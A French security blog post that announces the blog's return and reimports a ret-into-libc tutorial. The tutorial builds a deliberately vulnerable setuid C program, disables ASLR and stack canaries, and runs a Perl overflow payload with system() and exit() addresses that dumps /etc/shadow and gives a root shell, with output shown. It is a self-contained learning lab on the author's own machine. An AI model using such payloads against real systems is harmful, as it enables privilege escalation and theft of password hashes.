samedi 6 février 2010

Retour à l'improviste

Hello,

Je sais pas si y'en a qui se souviennent, mais j'avais arrêté ce blog. Deux bonnes raisons de le reprendre et de laisser le wordpress aux oubliettes :

- quelqu'un m'a cassé les burnes avec une faille et avait réussi à dumper la base de données : ça venait pas de wordpress, mais de l'hébergement lui-même, pourri ;
- je me rends compte qu'avec le recul, je suis plus à l'aise sur ce blog.

Pour ceux qui s'inquiétaient - s'ils existent - ben désolé, quoi. On va pas sortir les violons, j'ai réimporté un article sur le ret into libcn, mais pour les commentaires, j'y suis pas arrivé (il faut dire que j'ai pas vraiment cherché non plus).

En gros, un aimable collaborateur, à qui j'avais promis une correction de l'article que je n'ai pas faite, m'a dit :

Je ne suis pas d'accord pour els schema de stack. Celon moi,

-> Avant overflow :

Haut de pile
+------------+
| EIP |
+------------+
| dest |
+------------+
Bas de pile

L'ors d'une ecriture, les adresses "remontent", donc, si l'on place "azerty" dans un stack, on auras
+------------+
| 00yt +
+------------+
| reza |
+------------+

D'ou,
-> Apres overflow :
Haut de pile
+------------+
| EXIT |
+------------+
| *commande |
+------------+
| SYSTEM |
+------------+
|dest(=aaa..)|
+------------+
Bas de pile


Pour ce qui est de l'adresse de la variable d'environnement, on peut constater qu'elle varie selon la longueur de av[0] :) (A vrais dire, l'environnement est un gros tas de char* coller les un aux autres, et *av[0] vient se placer juste au dessus de av[ac-1], lui même au dessus de av[ac-2] .... av[0].

Bref, pour l'adresse exacte, le calcule serais :
addr = getenv()
addr -= strlen(av[0])
addr -= ac * 4
addr += strlen(av[0])_du_programme_vulnerable
addr += ac_du_programme_vulnerable * 4

En espérant ne pas avoir dis de bêtises ^^


Pas eu le temps de vérifier. Une journée dure 24 heures...

Ah, et pour ceux qui veulent que je les lie dans la "blog roll", laissez un commentaire ou mailez-moi, je le ferai dès que possible.

Encore désolé, et c'est reparti pour un tour.

Geo

[Réimport] Ret into libc : théorie & pratique

Yosh,


Je profite de ces vacances pour publier un article sur un sujet quelconque ; celui-ci est d'ailleurs connu, puisque des camarades tels que Ghosts In The Stack et kmkz ont rédigé leur propre version.


Je précise au passage que, afin de mener à bien l'objectif que je présenterai dans l'article, j'ai eu besoin de désactiver deux sécurités : la "randomisation" des adresses mémoires, qui consiste à les rendre aléatoire à chaque exécution d'un programme donc de rendre difficile l'exploitation d'un débordement de tampon ; et la protection de la pile, lorsque gcc met en place un "canary" pour détecter les débordements. Effectivement, je suis sous un noyau 2.6.28-16-generic donc plutôt récent.


Qu'est-ce que la libc ? : Il s'agit de la bibliothèque - et je jette des pierres à ceux qui disent toujours librairie... - standard, sous linux, qui va regrouper les fonctions les plus couramment utilisées : printf(), exit(), ...


Et donc, un ret into libc, c'est...? Il s'agit d'une variante des buffer overflows, consistant à écraser EIP par une adresse correspondant à une fonction dans la libc ; d'où le nom de l'attaque.


L'idée est de faire pointer EIP, à l'épilogue de la fonction appelée, sur l'adresse system() pour qu'elle soit appelée et exécute notre commande. Notre commande, bien évidemment, correspond à un argument qui devra être déposé sur la pile. Dans mon cas, vous me trouverez peut-être incompétent, mais je n'ai pas réussi à exécuter /bin/sh. Mais rassurez-vous, un "cat /etc/shadow" a réussit, donc on va dire que ça revient au même...


Première étape : le programme vulnérable + suppression des protections de l'OS



#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void copy(char *buff);

int main(int argc, char **argv) {
if(argc < 2) {
printf("Utilisation : %s \n", argv[0]);
exit(EXIT_FAILURE);
}

printf("Copie en cours...\n");
copy(argv[1]);
printf("Termine !\n");
return EXIT_SUCCESS;
}

void copy(char *buff) {
char dest[50];
strcpy(dest, buff);
}


Vous remarquerez l'inutilité du programme ; néanmoins, il y a un appel vers strcpy qui ira stocker dans un tampon de 50 octets ce que nous lui soumettons. Si on soumet plus de 50 octets, ben, ça déborde !


geo@kleromy:~/bof/vuln1$ gcc -o vuln vuln.c -fno-stack-protector
geo@kleromy:~/bof/vuln1$ ./vuln
Utilisation : ./vuln
geo@kleromy:~/bof/vuln1$ ./vuln aaaaaaaaaaaaa
Copie en cours...
Termine !
geo@kleromy:~/bof/vuln1$ ./vuln `perl -e 'print "a" x 58'`
Copie en cours...
Erreur de segmentation
geo@kleromy:~/bof/vuln1$

Au passage, on en profite pour enlever la randomisation de la pile :


geo@kleromy:~/bof/vuln1$ sudo -s
root@kleromy:~/bof/vuln1# echo 0 > /proc/sys/kernel/randomize_va_space
root@kleromy:~/bof/vuln1# cat /proc/sys/kernel/randomize_va_space
0
root@kleromy:~/bof/vuln1# exit
exit
geo@kleromy:~/bof/vuln1$

Et, tant qu'à faire, faire en sorte que notre programme appartienne à root ET qu'il s'exécute avec les droits de root :


geo@kleromy:~/bof/vuln1$ sudo -s
root@kleromy:~/bof/vuln1# chown root ./vuln
root@kleromy:~/bof/vuln1# chmod +s ./vuln
root@kleromy:~/bof/vuln1# exit
exit

Maintenant, on peut commencer à préparer l'attaque puisque nous sommes dans notre cas fictif.


Seconde étape : récupérer l'adresse de l'argument de system()


Soit "cat /etc/shadow" notre chaine qu'on passera à system(). Nous allons en faire une variable d'environnement via la commande export :


geo@kleromy:~/bof/vuln1$ export commande="cat /etc/shadow"
geo@kleromy:~/bof/vuln1$

Et on va récupérer son adresse grâce au superbe outil de kmkz (par contre, l'ami, tu m'excuseras, mais je me suis permis de corriger ton programme, bien qu'il ne soit pas encore totalement efficace...) :



#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
if (argc < 2)
{
printf( " **Veuillez utiliser un ARGUMENT !!** \n");
return(0);
}

char *addr;
addr = (char *) getenv(argv[1]);

if (addr != NULL)
printf("** %s se situe à l'adresse %p **,\n",addr, addr + strlen(argv[1]) );
return(0);
}

On compile, et on exécute :


geo@kleromy:~/bof/vuln1$ ./src_bin-sh
** Veuillez utiliser un ARGUMENT !!**
geo@kleromy:~/bof/vuln1$ ./src_bin-sh commande
**cat /etc/shadow se situe a l'adresse 0xbffffe55 **


Cette adresse, chez moi, est PRESQUE bonne. Donc pas totalement, mais tant qu'on a une adresse qui s'en rapproche, c'est pas plus mal !


On a l'adresse de notre argument, maintenant, on va chercher les adresse des fonctions que nous voudrons utiliser : system() et exit() - pour terminer le programme proprement.


Troisième étape : adresses de system et exit


Cette étape est relativement simple à mettre en oeuvre ; effectivement, on n'a qu'à utiliser gdb pour déboguer notre programme vuln. Si on place un breakpoint à un endroit du programme, on pourra en profiter pour récupérer les adresses des fonctions de la libc, puisqu'elles ont été chargées en mémoire.


Voici comment procéder :


geo@kleromy:~/bof/vuln1$ gdb ./vuln
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) b main
Breakpoint 1 at 0x8048472
(gdb) r
Starting program: /home/geo/bof/vuln1/vuln


Breakpoint 1, 0x08048472 in main ()
Current language: auto; currently asm
(gdb) x system
0xb7ea68b0 : 0x890cec83
(gdb) x exit
0xb7e9bb30 : 0x57e58955
(gdb) q
The program is running. Exit anyway? (y or n) n
Not confirmed.
(gdb)


Maintenant, nous avons toutes les informations pour exploiter notre ret into libc. Il ne me reste plus qu'à vous expliquer comment ça se passe.


Lorsque vous appelez en C, par exemple, la fonction printf() de la sorte : system("echo bonjour"); ; en assembleur, le code ressemblera à :


push offset LaChaineQuiContientCoucou ; offset de la chaîne contenant coucou
call printf ; appel de la fonction

Seulement voilà, comme vous le savez (je le suppose), lorsque la routine appelle une fonction, elle va empiler l'adresse de l'instruction suivante afin de revenir à la routine appelante. La pile aura donc cette tronche :


        Haut de pile
| |
+---------------------------+
| sauvegarde EIP |
+---------------------------+
| LaChaineQuiContientCoucou |
+---------------------------+
| ... |
+---------------------------+
| ... |
+---------------------------+
| ... |
+---------------------------+
| ... |
+---------------------------+
| ... |
+---------------------------+
Bas de pile

La fonction printf() ira donc chercher ses arguments qui se trouveront en-dessous de la sauvegarde !


Pour system(), c'est pareil. Elle ira chercher son argument en-dessous de la sauvegarde d'EIP. Sauf que, voilà : dans notre attaque, notre sauvegarde d'EIP sera factice. On la remplacera par exit(), et donc, lorsque system() aura fini sa routine, pendant l'épilogue, elle dépilera l'adresse d'exit() dans EIP, et notre programme se terminera.


En résumé, voici l'état que la pile doit avoir lors de notre attaque :


        Haut de pile
| aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa... | // L'écrasement
+---------------------------------------+
| system() -> sauvegarde EIP |
+---------------------------------------+
| exit() -> sauvegarde EIP 2 |
+---------------------------------------+
| NotreCommandeExecuteeParSystem() |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
Bas de pile

Effectivement, j'ai parlé de "sauvegarde EIP 2", car la fonction system() est programmée de sorte à ce qu'on l'appelle en ayant empilé la sauvegarde d'EIP. Et donc, lorsque notre débordement de tampon aura réussi et que la fonction system() sera appelée, la pile ressemblera à ça :


          Haut de pile
| |
+---------------------------------------+
| exit() -> sauvegarde EIP faux |
+---------------------------------------+
| NotreCommandeExecuteeParSystem() |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
Bas de pile

Et la fonction ira chercher l'argument en-dessous de la fausse sauvegarde d'EIP, et dépilera cette fameuse sauvegarde d'EIP dans le registre du même nom... Ce qui quittera notre programme.


J'espère avoir été clair !


Maintenant, on exploite, tout bonnement, avec les adresses mémoires récupérées. Schéma d'attaque :
[ax54] [adresse system] [adresse exit] [adresse "cat /etc/shadow"]


geo@kleromy:~/bof/vuln1$ ./vuln `perl -e 'print "a" x 54 . "\xb0\x68\xea\xb7" . "\x30\xbb\xe9\xb7" . "\x55\xfe\xff\xbf"'`
Copie en cours...
sh: /etc/shadow: Permission denied

Bon, c'est déjà ça : on n'a pas d'"Erreur de segmentation". Mais là, on nous dit que le fait d'exécuter /etc/shadow entraîne un refus d'accès. Le "cat " n'a pas été pris, c'est ça que je trouve bizarre puisqu'on a, normalement, récupéré la bonne adresse de notre chaine....


Pas de panique : ajoutez 4 - l'équivalent de la longueur de "cat " - à 0x55 pour obtenir 0x59. Et, là...


eo@kleromy:~/bof/vuln1$ ./vuln `perl -e 'print "a" x 54 . "\xb0\x68\xea\xb7" . "\x30\xbb\xe9\xb7" . "\x59\xfe\xff\xbf"'`
Copie en cours...
root:!:14505:0:99999:7:::
daemon:*:14354:0:99999:7:::
bin:*:14354:0:99999:7:::
sys:*:14354:0:99999:7:::
sync:*:14354:0:99999:7:::
games:*:14354:0:99999:7:::
man:*:14354:0:99999:7:::
lp:*:14354:0:99999:7:::
mail:*:14354:0:99999:7:::
news:*:14354:0:99999:7:::
uucp:*:14354:0:99999:7:::
proxy:*:14354:0:99999:7:::
www-data:*:14354:0:99999:7:::
backup:*:14354:0:99999:7:::
list:*:14354:0:99999:7:::
irc:*:14354:0:99999:7:::
gnats:*:14354:0:99999:7:::
nobody:*:14354:0:99999:7:::
libuuid:!:14354:0:99999:7:::
syslog:*:14354:0:99999:7:::
[...]
sshd:*:14506:0:99999:7:::
geo@kleromy:~/bof/vuln1$

Le contenu de /etc/shadow s'affiche.


Et curiosité amusante... :


geo@kleromy:~/bof/vuln1$ whoami
geo
geo@kleromy:~/bof/vuln1$ export commande="cat /bin/sh"
geo@kleromy:~/bof/vuln1$ ./src_bin-sh commande
**cat /bin/sh se situe a l'adresse 0xbffffe59 **,
geo@kleromy:~/bof/vuln1$ ./vuln `perl -e 'print "a" x 54 . "\xb0\x68\xea\xb7" . "\x30\xbb\xe9\xb7" . "\x59\xfe\xff\xbf"'`
Copie en cours...
# whoami
root
# exit

... C'est que, non seulement je suis obligé de mettre "cat" devant /bin/sh pour faire exécuter ma commande, mais encore : l'adresse trouvée par le programme est bonne. C'est un coup de chance, mais ça démontre bien que notre algorithme est foireux.


Mais en tout cas, l'exploitation du ret into libc a réussi.


Conclusion


Bien que nous ayons compris le principe de l'exploitation du ret into libc, vous venez de voir que l'article comporte certains points obscurs. Aussi, sachez que toute contribution par commentaire sera la bienvenue pour qui souhaite m'expliquer pourquoi commande=/bin/sh ne permet rien, ou pourquoi notre algorithme pour trouver l'adresse *exacte* de notre chaine est erroné.


Je tiens à citer les articles de Heurs et kmkz qui ont été clairs à eux deux et qui m'ont donc permis de tout comprendre.


Geo